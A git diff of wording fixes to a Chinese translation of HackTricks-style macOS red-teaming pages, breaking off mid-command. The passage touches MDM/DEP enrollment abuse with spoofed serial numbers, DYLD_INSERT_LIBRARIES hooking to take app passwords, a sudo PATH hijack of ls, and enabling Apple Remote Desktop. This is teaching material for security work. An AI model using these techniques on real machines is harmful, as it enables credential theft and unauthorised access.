+[移动设备管理](https://en.wikipedia.org/wiki/Mobile_device_management)(MDM)用于管理各种终端用户设备,如智能手机、笔记本电脑和平板电脑。特别是对于苹果的平台(iOS、macOS、tvOS),它涉及一套专门的功能、API和实践。MDM 的操作依赖于一个兼容的 MDM 服务器,该服务器可以是商业可用的或开源的,并且必须支持 [MDM 协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。关键点包括: - 对设备的集中控制。 - 依赖于遵循 MDM 协议的 MDM 服务器。 @@ -19,18 +19,18 @@ ### **DEP(设备注册计划)基础知识** -苹果提供的 [设备注册计划](https://www.apple.com/business/site/docs/DEP_Guide.pdf)(DEP)通过为 iOS、macOS 和 tvOS 设备提供零接触配置,简化了移动设备管理(MDM)的集成。DEP 自动化注册过程,使设备在开箱即用时即可操作,最小化用户或管理干预。基本方面包括: +苹果提供的 [设备注册计划](https://www.apple.com/business/site/docs/DEP_Guide.pdf)(DEP)通过为 iOS、macOS 和 tvOS 设备提供零接触配置,简化了移动设备管理(MDM)的集成。DEP 自动化注册过程,使设备在开箱后即可投入使用,几乎不需要用户或管理员干预。基本方面包括: - 使设备在首次激活时能够自动注册到预定义的 MDM 服务器。 - 主要对全新设备有利,但也适用于正在重新配置的设备。 -- 促进简单的设置,使设备迅速准备好用于组织。 +- 促进简单的设置,使设备迅速准备好供组织使用。 ### **安全考虑** -需要注意的是,DEP 提供的注册便利性虽然有利,但也可能带来安全风险。如果没有充分执行保护措施,攻击者可能利用这一简化过程在组织的 MDM 服务器上注册他们的设备,伪装成企业设备。 +需要注意的是,DEP 提供的简化注册虽然有利,但也可能带来安全风险。如果没有充分执行保护措施,攻击者可能利用这一简化过程在组织的 MDM 服务器上注册他们的设备,伪装成企业设备。 > [!CAUTION] -> **安全警报**:如果没有适当的保护措施,简化的 DEP 注册可能允许未经授权的设备在组织的 MDM 服务器上注册。 +> **安全警报**:如果没有适当的保护措施,简化的 DEP 注册可能会允许未经授权的设备在组织的 MDM 服务器上注册。 ### 基础知识 什么是 SCEP(简单证书注册协议)? @@ -58,7 +58,7 @@ - **3 个 API**:1 个用于经销商,1 个用于 MDM 供应商,1 个用于设备身份(未记录): - 所谓的 [DEP "云服务" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。MDM 服务器使用此 API 将 DEP 配置文件与特定设备关联。 -- [苹果授权经销商使用的 DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html),用于注册设备、检查注册状态和检查交易状态。 +- [苹果授权经销商使用的 DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) 用于注册设备、检查注册状态和检查交易状态。 - 未记录的私有 DEP API。苹果设备使用此 API 请求其 DEP 配置文件。在 macOS 上,`cloudconfigurationd` 二进制文件负责通过此 API 进行通信。 - 更现代且基于 **JSON**(与 plist 相比) - 苹果向 MDM 供应商授予 **OAuth 令牌** @@ -75,7 +75,7 @@ ## 序列号 -2010 年后制造的苹果设备通常具有 **12 个字符的字母数字** 序列号,**前三个数字表示制造地点**,接下来的 **两个** 表示 **制造的年份** 和 **周数**,接下来的 **三个** 数字提供一个 **唯一的** **标识符**,最后 **四个** 数字表示 **型号**。 +2010 年后制造的苹果设备通常具有 **12 个字符的字母数字** 序列号,**前三个数字表示制造地点**,接下来的 **两个** 表示 **制造的年份** 和 **周数**,接下来的 **三个** 数字提供 **唯一** **标识符**,最后 **四个** 数字表示 **型号**。 {{#ref}} macos-serial-number.md @@ -93,7 +93,7 @@ macos-serial-number.md ![](<../../../images/image (694).png>) -文件 `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` 导出可以被视为 **高层次的“步骤”** 的注册过程的函数。 +文件 `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` 导出可以被视为 **注册过程的“高级步骤”** 的函数。 ### 第 4 步:DEP 签到 - 获取激活记录 @@ -164,12 +164,12 @@ macos-serial-number.md - `com.apple.mdm`:用于 **注册** 设备到 MDM - `com.apple.security.scep`:安全地向设备提供 **客户端证书**。 -- `com.apple.security.pem`:向设备的系统钥匙串 **安装受信任的 CA 证书**。 +- `com.apple.security.pem`:将 **受信任的 CA 证书** 安装到设备的系统钥匙串中。 - 安装 MDM 有效负载相当于文档中的 **MDM 签到** - 有效负载 **包含关键属性**: - - MDM 签到 URL(**`CheckInURL`**) -- MDM 命令轮询 URL(**`ServerURL`**) + 触发它的 APNs 主题 -- 要安装 MDM 有效负载,请向 **`CheckInURL`** 发送请求 +- MDM 命令轮询 URL(**`ServerURL`**) + APNs 主题以触发它 +- 要安装 MDM 有效负载,请请求发送到 **`CheckInURL`** - 在 **`mdmclient`** 中实现 - MDM 有效负载可以依赖于其他有效负载 - 允许 **请求固定到特定证书**: @@ -184,7 +184,7 @@ macos-serial-number.md - 在 MDM 签到完成后,供应商可以 **使用 APNs 发布推送通知** - 收到后,由 **`mdmclient`** 处理 -- 要轮询 MDM 命令,请向 ServerURL 发送请求 +- 要轮询 MDM 命令,请请求发送到 ServerURL - 利用先前安装的 MDM 有效负载: - **`ServerURLPinningCertificateUUIDs`** 用于固定请求 - **`IdentityCertificateUUID`** 用于 TLS 客户端证书 @@ -194,7 +194,7 @@ macos-serial-number.md ### 在其他组织中注册设备 如前所述,为了尝试将设备注册到一个组织 **只需要该组织的序列号**。一旦设备注册,多个组织将会在新设备上安装敏感数据:证书、应用程序、WiFi 密码、VPN 配置 [等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\ -因此,如果注册过程没有得到正确保护,这可能成为攻击者的一个危险入口点: +因此,如果注册过程没有得到正确保护,这可能成为攻击者的危险入口: {{#ref}} enrolling-devices-in-other-organisations.md diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 47cefde4b..84edcd622 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -25,18 +25,18 @@ DEP 检查涉及 `cloudconfigurationd` 向 _iprofiles.apple.com/macProfile_ 发 ## 代理 DEP 请求 -使用 Charles Proxy 等工具拦截和修改对 _iprofiles.apple.com_ 的 DEP 请求的尝试受到负载加密和 SSL/TLS 安全措施的阻碍。然而,启用 `MCCloudConfigAcceptAnyHTTPSCertificate` 配置可以绕过服务器证书验证,尽管负载的加密性质仍然阻止在没有解密密钥的情况下修改序列号。 +使用 Charles Proxy 等工具拦截和修改对 _iprofiles.apple.com_ 的 DEP 请求的尝试受到负载加密和 SSL/TLS 安全措施的阻碍。然而,启用 `MCCloudConfigAcceptAnyHTTPSCertificate` 配置可以绕过服务器证书验证,尽管负载的加密特性仍然阻止在没有解密密钥的情况下修改序列号。 ## 对与 DEP 交互的系统二进制文件进行插桩 对系统二进制文件如 `cloudconfigurationd` 进行插桩需要在 macOS 上禁用系统完整性保护(SIP)。禁用 SIP 后,可以使用 LLDB 等工具附加到系统进程,并可能修改在 DEP API 交互中使用的序列号。这种方法更可取,因为它避免了权限和代码签名的复杂性。 **利用二进制插桩:** -在 `cloudconfigurationd` 中 JSON 序列化之前修改 DEP 请求负载被证明是有效的。该过程涉及: +在 `cloudconfigurationd` 中 JSON 序列化之前修改 DEP 请求负载被证明是有效的。该过程包括: 1. 将 LLDB 附加到 `cloudconfigurationd`。 2. 找到获取系统序列号的点。 -3. 在负载被加密并发送之前,将任意序列号注入内存中。 +3. 在负载加密并发送之前将任意序列号注入内存中。 这种方法允许检索任意序列号的完整 DEP 配置文件,展示了潜在的漏洞。 diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 20310aa49..46e337f97 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -7,8 +7,8 @@ 2010年后发布的Apple设备的序列号由**12个字母数字字符**组成,每个部分传达特定信息: - **前三个字符**:指示**制造地点**。 -- **第4和第5个字符**:表示**制造年份和周数**。 -- **第6到第8个字符**:作为每个设备的**唯一标识符**。 +- **第4和5个字符**:表示**制造年份和周数**。 +- **第6到8个字符**:作为每个设备的**唯一标识符**。 - **最后4个字符**:指定**型号**。 例如,序列号**C02L13ECF8J2**遵循此结构。 @@ -35,6 +35,6 @@ ### **制造周数(第5个字符)** -数字1-9对应于第1-9周。字母C-Y(不包括元音和'S')代表第10-27周。对于下半年,该数字加上26。 +数字1-9对应于第1-9周。字母C-Y(不包括元音和'S')表示第10-27周。对于下半年,该数字加上26。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index b2f002cb2..20d2e8891 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -37,7 +37,7 @@ macos-protocols.md {{#endref}} - **开源** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) -- 要下载 `tar.gz`,将 URL 更改为 [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) 到 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) +- 要下载 `tar.gz`,请将 URL 更改为 [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) 到 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) ### MacOS MDM @@ -71,7 +71,7 @@ macos-security-protections/ - 使用的文件位于用户拥有的目录中(用户可以创建该文件) - 使用的文件位于 root 拥有的目录中,但用户因组而具有写入权限(用户可以创建该文件) -能够 **创建一个将被 root 使用的文件**,允许用户 **利用其内容**,甚至创建 **符号链接/硬链接** 指向另一个位置。 +能够 **创建一个将被 root 使用的文件**,允许用户 **利用其内容**,甚至创建 **符号链接/硬链接** 指向其他位置。 对于这种漏洞,不要忘记 **检查易受攻击的 `.pkg` 安装程序**: @@ -99,7 +99,7 @@ macos-file-extension-apps.md ## macOS 传统权限提升 -当然,从红队的角度来看,您也应该对提升到 root 感兴趣。查看以下帖子以获取一些提示: +当然,从红队的角度来看,您也应该对提升到 root 感兴趣。请查看以下帖子以获取一些提示: {{#ref}} macos-privilege-escalation.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 115dfa6d7..3f4fbeeb7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -4,9 +4,9 @@ ## Function Interposing -创建一个带有 **`__interpose`** 部分(或标记为 **`S_INTERPOSING`** 的部分)的 **dylib**,其中包含指向 **原始** 和 **替代** 函数的 **函数指针** 元组。 +创建一个 **dylib**,其中包含一个 **`__interpose`** 部分(或一个标记为 **`S_INTERPOSING`** 的部分),该部分包含指向 **原始** 和 **替代** 函数的 **函数指针** 元组。 -然后,使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib(插入需要在主应用加载之前发生)。显然,适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](../macos-proces-abuse/macos-library-injection/#check-restrictions)。 +然后,使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib(插入需要在主应用程序加载之前发生)。显然,适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](../macos-proces-abuse/macos-library-injection/#check-restrictions)。 ### Interpose printf @@ -81,14 +81,14 @@ Hello from interpose 在 ObjectiveC 中,方法调用的方式是:**`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** -需要 **对象**、**方法**和 **参数**。当调用一个方法时,使用函数 **`objc_msgSend`** 发送 **msg**:`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` +需要 **对象**、**方法**和 **参数**。当调用一个方法时,会使用函数 **`objc_msgSend`** 发送 **msg**:`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` 对象是 **`someObject`**,方法是 **`@selector(method1p1:p2:)`**,参数是 **value1**,**value2**。 根据对象结构,可以访问一个 **方法数组**,其中 **名称** 和 **指向方法代码的指针** 被 **存放**。 > [!CAUTION] -> 请注意,由于方法和类是根据其名称访问的,因此这些信息存储在二进制文件中,因此可以使用 `otool -ov
` 或 [`class-dump `](https://github.com/nygard/class-dump) 检索它。 +> 请注意,由于方法和类是基于其名称访问的,因此这些信息存储在二进制文件中,因此可以使用 `otool -ov ` 或 [`class-dump `](https://github.com/nygard/class-dump) 来检索。 ### 访问原始方法 @@ -160,7 +160,7 @@ return 0; ``` ### 方法交换与 method_exchangeImplementations -函数 **`method_exchangeImplementations`** 允许 **更改** **一个函数的实现地址为另一个函数的实现**。 +函数 **`method_exchangeImplementations`** 允许 **更改** **一个函数的实现地址为另一个函数**。 > [!CAUTION] > 因此,当调用一个函数时,**执行的是另一个函数**。 @@ -214,7 +214,7 @@ return 0; ### 使用 method_setImplementation 进行方法交换 -之前的格式很奇怪,因为你正在将两个方法的实现互相更改。使用函数 **`method_setImplementation`**,你可以**更改**一个**方法的实现为另一个**。 +之前的格式很奇怪,因为你正在将两个方法的实现互换。使用函数 **`method_setImplementation`**,你可以**更改**一个**方法**的**实现**为另一个**方法**的实现。 只需记住,如果你打算在覆盖之前从新实现中调用原始实现,请**存储原始实现的地址**,因为稍后定位该地址会更加复杂。 ```objectivec @@ -272,13 +272,13 @@ return 0; 在本页中讨论了不同的函数钩取方法。然而,它们涉及到**在进程内部运行代码进行攻击**。 -为了做到这一点,最简单的技术是通过环境变量或劫持来注入一个[Dyld](../macos-dyld-hijacking-and-dyld_insert_libraries.md)。不过,我想这也可以通过[Dylib 进程注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)来完成。 +为了做到这一点,最简单的技术是通过环境变量或劫持注入一个[Dyld](../macos-dyld-hijacking-and-dyld_insert_libraries.md)。不过,我想这也可以通过[Dylib 进程注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)来完成。 然而,这两种选项都**限制**于**未保护**的二进制文件/进程。检查每种技术以了解更多关于限制的信息。 -然而,函数钩取攻击是非常具体的,攻击者会这样做以**从进程内部窃取敏感信息**(否则你只会进行进程注入攻击)。这些敏感信息可能位于用户下载的应用程序中,例如 MacPass。 +然而,函数钩取攻击是非常具体的,攻击者这样做是为了**从进程内部窃取敏感信息**(否则你只会进行进程注入攻击)。而这些敏感信息可能位于用户下载的应用程序中,例如 MacPass。 -因此,攻击者的途径是找到一个漏洞或去掉应用程序的签名,通过应用程序的 Info.plist 注入**`DYLD_INSERT_LIBRARIES`**环境变量,添加类似于: +因此,攻击者的途径是找到一个漏洞或去掉应用程序的签名,通过应用程序的 Info.plist 注入**`DYLD_INSERT_LIBRARIES`** 环境变量,添加类似于: ```xml LSEnvironment @@ -293,7 +293,7 @@ return 0; 在该库中添加钩子代码以提取信息:密码、消息... > [!CAUTION] -> 请注意,在较新版本的 macOS 中,如果您 **剥离应用程序二进制文件的签名** 并且它之前已被执行,macOS **将不再执行该应用程序**。 +> 请注意,在较新版本的 macOS 中,如果您 **去除应用程序二进制文件的签名** 并且它之前已被执行,macOS **将不再执行该应用程序**。 #### 库示例 ```objectivec diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index 55035ee9f..4942245c2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -10,7 +10,7 @@ IOKit 驱动程序基本上会 **从内核导出函数**。这些函数参数的 **IOKit XNU 内核代码** 由 Apple 在 [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit) 开源。此外,用户空间的 IOKit 组件也开源 [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。 -然而,**没有 IOKit 驱动程序** 是开源的。无论如何,偶尔会发布带有符号的驱动程序,这使得调试变得更容易。查看如何 [**从固件获取驱动程序扩展这里**](./#ipsw)**。** +然而,**没有 IOKit 驱动程序** 是开源的。无论如何,驱动程序的发布有时可能会附带符号,使其更容易调试。查看如何 [**从固件获取驱动程序扩展这里**](./#ipsw)**。** 它是用 **C++** 编写的。您可以使用以下命令获取去除修饰的 C++ 符号: ```bash @@ -23,7 +23,7 @@ __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaq IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` > [!CAUTION] -> IOKit **暴露的函数** 可能在客户端尝试调用函数时执行 **额外的安全检查**,但请注意,应用程序通常受到 **沙箱** 的 **限制**,只能与特定的 IOKit 函数进行交互。 +> IOKit **暴露的函数** 在客户端尝试调用函数时可能会执行 **额外的安全检查**,但请注意,应用程序通常受到 **沙箱** 的 **限制**,只能与特定的 IOKit 函数进行交互。 ## 驱动程序 @@ -68,7 +68,7 @@ kextunload com.apple.iokit.IOReportFamily ``` ## IORegistry -**IORegistry** 是 macOS 和 iOS 中 IOKit 框架的一个关键部分,作为表示系统硬件配置和状态的数据库。它是一个 **层次化的对象集合,代表系统上加载的所有硬件和驱动程序**,以及它们之间的关系。 +**IORegistry** 是 macOS 和 iOS 中 IOKit 框架的一个关键部分,作为表示系统硬件配置和状态的数据库。它是一个 **层次化的对象集合,表示系统上加载的所有硬件和驱动程序** 及其相互关系。 您可以使用 cli **`ioreg`** 从控制台检查 IORegistry(对 iOS 特别有用)。 ```bash @@ -84,7 +84,7 @@ ioreg -p #Check other plane 1. **IOService 平面**:这是最通用的平面,显示代表驱动程序和 nubs(驱动程序之间的通信通道)的服务对象。它显示这些对象之间的提供者-客户端关系。 2. **IODeviceTree 平面**:该平面表示设备与系统之间的物理连接。它通常用于可视化通过 USB 或 PCI 等总线连接的设备层次结构。 -3. **IOPower 平面**:以电源管理的方式显示对象及其关系。它可以显示哪些对象影响其他对象的电源状态,便于调试与电源相关的问题。 +3. **IOPower 平面**:以电源管理的方式显示对象及其关系。它可以显示哪些对象影响其他对象的电源状态,对于调试与电源相关的问题非常有用。 4. **IOUSB 平面**:专注于 USB 设备及其关系,显示 USB 集线器和连接设备的层次结构。 5. **IOAudio 平面**:该平面用于表示音频设备及其在系统中的关系。 6. ... @@ -95,7 +95,7 @@ ioreg -p #Check other plane - 首先调用 **`IOServiceMatching`** 和 **`IOServiceGetMatchingServices`** 来获取服务。 - 然后通过调用 **`IOServiceOpen`** 建立连接。 -- 最后调用 **`IOConnectCallScalarMethod`** 函数,指示选择器 0(选择器是您要调用的函数分配的数字)。 +- 最后调用一个函数,使用 **`IOConnectCallScalarMethod`** 指定选择器 0(选择器是您要调用的函数分配的数字)。 ```objectivec #import #import @@ -154,7 +154,7 @@ return 0; ## 反向工程驱动入口点 -您可以从 [**固件镜像 (ipsw)**](./#ipsw) 中获取这些。例如,将其加载到您喜欢的反编译器中。 +您可以从 [**固件镜像 (ipsw)**](./#ipsw) 中获取这些。例如,将其加载到您最喜欢的反编译器中。 您可以开始反编译 **`externalMethod`** 函数,因为这是接收调用并调用正确函数的驱动函数: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index b2ca5de86..4b000ac50 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -6,7 +6,7 @@ **Apple 文件系统 (APFS)** 是一种现代文件系统,旨在取代层次文件系统 Plus (HFS+)。其开发是为了满足 **提高性能、安全性和效率** 的需求。 -APFS 的一些显著特点包括: +APFS 的一些显著特性包括: 1. **空间共享**:APFS 允许多个卷 **共享同一物理设备上的底层可用存储**。这使得空间利用更加高效,因为卷可以动态增长和缩小,而无需手动调整大小或重新分区。 1. 这意味着,与传统的文件磁盘分区相比,**在 APFS 中,不同的分区(卷)共享所有磁盘空间**,而常规分区通常具有固定大小。 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 4cc27f7f9..368a92cc6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -66,13 +66,13 @@ MyVehicle *newVehicle = [MyVehicle new]; ``` ### **类方法** -类方法是用 **加号** (+) 定义的,而不是用于实例方法的连字符 (-)。例如 **NSString** 类方法 **`stringWithString`**: +类方法是用 **加号** (+) 定义的,而不是用于实例方法的 **减号** (-)。例如 **NSString** 类方法 **`stringWithString`**: ```objectivec + (id)stringWithString:(NSString *)aString; ``` ### Setter & Getter -要**设置**和**获取**属性,您可以使用**点表示法**或像**调用方法**一样: +要**设置**和**获取**属性,您可以使用**点表示法**或像**调用方法**一样进行: ```objectivec // Set newVehicle.numberOfWheels = 2; @@ -164,7 +164,7 @@ NSString *bookTitle = @"The Catcher in the Rye"; NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding]; NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding]; ``` -基本类是**不可变的**,因此要将一个字符串附加到现有字符串上,**需要创建一个新的 NSString**。 +基本类是**不可变的**,因此要将一个字符串附加到现有字符串上,**需要创建一个新的NSString**。 ```objectivec NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear]; ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index 058c7a49f..d1d3cd514 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -104,7 +104,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]); gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` -在库中创建的重新导出路径是相对于加载器的,让我们将其更改为库的绝对路径以进行导出: +库中创建的重新导出路径是相对于加载器的,让我们将其更改为库的绝对路径以进行导出: ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index f9dfb60dd..5a836a230 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -6,17 +6,17 @@ **Grand Central Dispatch (GCD)**,也称为 **libdispatch** (`libdispatch.dyld`),在 macOS 和 iOS 中均可用。它是苹果公司开发的一项技术,旨在优化应用程序对多核硬件上并发(多线程)执行的支持。 -**GCD** 提供并管理 **FIFO 队列**,您的应用程序可以将任务以 **块对象** 的形式 **提交**。提交到调度队列的块将在系统完全管理的线程池上 **执行**。GCD 自动创建线程以执行调度队列中的任务,并安排这些任务在可用核心上运行。 +**GCD** 提供并管理 **FIFO 队列**,您的应用程序可以将任务以 **块对象** 的形式 **提交** 到这些队列中。提交到调度队列的块会在系统完全管理的线程池上 **执行**。GCD 自动创建线程以执行调度队列中的任务,并安排这些任务在可用核心上运行。 > [!TIP] -> 总之,为了 **并行** 执行代码,进程可以将 **代码块发送到 GCD**,GCD 将负责它们的执行。因此,进程不创建新线程;**GCD 使用其自己的线程池执行给定的代码**(线程池可能根据需要增加或减少)。 +> 总之,为了 **并行** 执行代码,进程可以将 **代码块发送到 GCD**,GCD 将负责它们的执行。因此,进程不会创建新线程;**GCD 使用其自己的线程池执行给定的代码**(线程池可能根据需要增加或减少)。 这对于成功管理并行执行非常有帮助,极大地减少了进程创建的线程数量,并优化了并行执行。这对于需要 **高度并行性**(暴力破解?)的任务或不应阻塞主线程的任务是理想的:例如,iOS 上的主线程处理 UI 交互,因此任何可能导致应用程序挂起的其他功能(搜索、访问网络、读取文件等)都是以这种方式管理的。 ### 块 块是一个 **自包含的代码段**(像一个带参数返回值的函数),也可以指定绑定变量。\ -然而,在编译器级别,块并不存在,它们是 `os_object`。每个对象由两个结构组成: +然而,在编译器级别,块并不存在,它们是 `os_object`。每个这些对象由两个结构组成: - **块字面量**: - 它以 **`isa`** 字段开始,指向块的类: @@ -27,11 +27,11 @@ - 调用的函数指针 - 指向块描述符的指针 - 导入的块变量(如果有) -- **块描述符**:其大小取决于存在的数据(如前面标志所示) +- **块描述符**:它的大小取决于存在的数据(如前面标志所示) - 它有一些保留字节 - 它的大小 -- 通常会有一个指向 Objective-C 风格签名的指针,以了解参数所需的空间(标志 `BLOCK_HAS_SIGNATURE`) -- 如果引用了变量,则该块还将有指向复制助手(在开始时复制值)和处置助手(释放它)的指针。 +- 通常会有一个指向 Objective-C 风格签名的指针,以了解参数需要多少空间(标志 `BLOCK_HAS_SIGNATURE`) +- 如果引用了变量,则该块还将具有指向复制助手(在开始时复制值)和处置助手(释放它)的指针。 ### 队列 @@ -57,7 +57,7 @@ - `.root.user-interactive-qos`: 最高优先级 - `.root.background-qos.overcommit` -请注意,系统将决定 **每次哪个线程处理哪个队列**(多个线程可能在同一队列中工作,或者同一线程可能在某些时刻在不同队列中工作) +请注意,系统将决定 **每次哪个线程处理哪个队列**(多个线程可能在同一队列中工作,或者同一线程可能在某些时候在不同队列中工作) #### 属性 @@ -73,7 +73,7 @@ libdispatch 使用多个对象,队列和块只是其中两个。可以使用 ` - `io`: 异步 I/O 请求 - `mach`: Mach 端口 - `mach_msg`: Mach 消息 -- `pthread_root_queue`: 带有 pthread 线程池的队列,而不是工作队列 +- `pthread_root_queue`: 一个具有 pthread 线程池而不是工作队列的队列 - `queue` - `semaphore` - `source`: 事件源 @@ -198,7 +198,7 @@ Backtrace: 然后,找到代码中**使用**它们的地方: > [!TIP] -> 注意所有提到“block”的引用,以理解你如何能够判断该结构正在被使用。 +> 注意所有提到“block”的引用,以了解你如何能够判断该结构正在被使用。
@@ -206,7 +206,7 @@ Backtrace:
-Ghidra 会自动重写所有内容: +Ghidra 将自动重写所有内容:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index 818f8488f..b0ad36799 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -24,7 +24,7 @@ macos-security-protections/macos-tcc/ 你可以在 Linux 提权帖子中找到原始的 [Sudo 劫持技巧](../../linux-hardening/privilege-escalation/#sudo-hijacking)。 -然而,macOS **维护** 用户的 **`PATH`** 当他执行 **`sudo`** 时。这意味着实现此攻击的另一种方法是 **劫持其他二进制文件**,这些文件在 **运行 sudo** 时受害者仍会执行: +然而,macOS **保持** 用户的 **`PATH`** 当他执行 **`sudo`** 时。这意味着实现此攻击的另一种方法是 **劫持其他二进制文件**,这些文件在受害者 **运行 sudo** 时仍会被执行: ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls < `共享` 中启用/禁用这些服务。 +您可以在 `System Settings` --> `Sharing` 中启用/禁用这些服务。 - **VNC**,称为“屏幕共享”(tcp:5900) - **SSH**,称为“远程登录”(tcp:22) - **Apple Remote Desktop** (ARD),或称为“远程管理”(tcp:3283, tcp:5900) - **AppleEvent**,称为“远程 Apple 事件”(tcp:3031) -检查是否启用了任何服务,运行: +检查是否启用任何服务,运行: ```bash rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); @@ -28,27 +28,27 @@ Apple Remote Desktop (ARD) 是一个增强版的 [Virtual Network Computing (VNC 可以使用 **nmap** 的 `vnc-info` 脚本识别易受攻击的实例。支持 `VNC Authentication (2)` 的服务由于 8 字符密码截断而特别容易受到暴力攻击。 -要启用 ARD 进行各种管理任务,如权限提升、GUI 访问或用户监控,请使用以下命令: +要启用 ARD 以进行特权升级、GUI 访问或用户监控等各种管理任务,请使用以下命令: ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure 